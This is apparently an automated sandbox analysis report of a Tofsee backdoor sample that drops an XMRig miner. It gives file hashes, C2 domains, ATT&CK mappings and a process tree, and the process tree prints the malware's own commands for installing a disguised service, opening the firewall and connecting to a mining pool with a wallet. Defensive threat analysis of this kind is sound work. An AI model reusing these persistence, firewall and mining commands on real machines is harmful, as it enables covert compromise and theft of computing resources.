Analysis

  • max time kernel
    148s
  • max time network
    188s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • resource tags

    arch:x64arch:x86image:win7-20220414-enlocale:en-usos:windows7-x64system
  • submitted
    17-07-2022 15:50

General

  • Target

    75t70izpt[1].exe

  • Size

    302KB

  • MD5

    e99f30a09b75de5eb56c172972cc46bc

  • SHA1

    d50c7c10d7abcb27ba63242a20e5fdd90ad2ae60

  • SHA256

    9ff3eb5bac86aef0116488ac380f9d7ea15d27f9d580462fcf3612293525f50f

  • SHA512

    4991768653c743e673b3a0a66baf3930aba398f861e10837c4622927ba4bef3cfd4f29afc041163e1970c19c67108e765e94757d2e884bad963b131fb0a69561

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\75t70izpt[1].exe
    "C:\Users\Admin\AppData\Local\Temp\75t70izpt[1].exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:844
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hvvbusnd\
      2⤵
        PID:952
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sdaqwlpq.exe" C:\Windows\SysWOW64\hvvbusnd\
        2⤵
          PID:1208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hvvbusnd binPath= "C:\Windows\SysWOW64\hvvbusnd\sdaqwlpq.exe /d\"C:\Users\Admin\AppData\Local\Temp\75t70izpt[1].exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hvvbusnd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hvvbusnd
          2⤵
          • Launches sc.exe
          PID:556
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1824
      • C:\Windows\SysWOW64\hvvbusnd\sdaqwlpq.exe
        C:\Windows\SysWOW64\hvvbusnd\sdaqwlpq.exe /d"C:\Users\Admin\AppData\Local\Temp\75t70izpt[1].exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1244
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1616

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\sdaqwlpq.exe
        Filesize

        10.2MB

        MD5

        54738c2c0a6f5b6df5bd5c2c3b030090

        SHA1

        aa7721604ba0d98f12da5aacd1f1ae9c92b51314

        SHA256

        971b1c06d80f216b0ac5e8d4f8bc4ed1c8c899a8cab561afb9ad2883dcd252e0

        SHA512

        f8622da637508e6e820f070b2f2dc734276be0d291a6a6ec496fb812f3f0fa255006bccf76a59e0281ef463b9ef28bc3836e79422f0c3f0b461289333dc8ca3c

      • C:\Windows\SysWOW64\hvvbusnd\sdaqwlpq.exe
        Filesize

        10.2MB

        MD5

        54738c2c0a6f5b6df5bd5c2c3b030090

        SHA1

        aa7721604ba0d98f12da5aacd1f1ae9c92b51314

        SHA256

        971b1c06d80f216b0ac5e8d4f8bc4ed1c8c899a8cab561afb9ad2883dcd252e0

        SHA512

        f8622da637508e6e820f070b2f2dc734276be0d291a6a6ec496fb812f3f0fa255006bccf76a59e0281ef463b9ef28bc3836e79422f0c3f0b461289333dc8ca3c

      • memory/556-63-0x0000000000000000-mapping.dmp
      • memory/844-67-0x0000000000400000-0x0000000000451000-memory.dmp
        Filesize

        324KB

      • memory/844-58-0x0000000000400000-0x0000000000451000-memory.dmp
        Filesize

        324KB

      • memory/844-57-0x00000000002A0000-0x00000000002B3000-memory.dmp
        Filesize

        76KB

      • memory/844-56-0x00000000004ED000-0x00000000004FE000-memory.dmp
        Filesize

        68KB

      • memory/844-54-0x0000000076431000-0x0000000076433000-memory.dmp
        Filesize

        8KB

      • memory/844-66-0x00000000004ED000-0x00000000004FE000-memory.dmp
        Filesize

        68KB

      • memory/952-55-0x0000000000000000-mapping.dmp
      • memory/1076-61-0x0000000000000000-mapping.dmp
      • memory/1208-59-0x0000000000000000-mapping.dmp
      • memory/1244-78-0x0000000000400000-0x0000000000451000-memory.dmp
        Filesize

        324KB

      • memory/1244-75-0x000000000028D000-0x000000000029E000-memory.dmp
        Filesize

        68KB

      • memory/1508-70-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1508-72-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1508-73-0x00000000000D9A6B-mapping.dmp
      • memory/1508-79-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1508-80-0x00000000020A0000-0x00000000022AF000-memory.dmp
        Filesize

        2.1MB

      • memory/1508-83-0x0000000000080000-0x0000000000086000-memory.dmp
        Filesize

        24KB

      • memory/1508-86-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1616-87-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1616-89-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1616-94-0x000000000011259C-mapping.dmp
      • memory/1824-65-0x0000000000000000-mapping.dmp
      • memory/2000-62-0x0000000000000000-mapping.dmp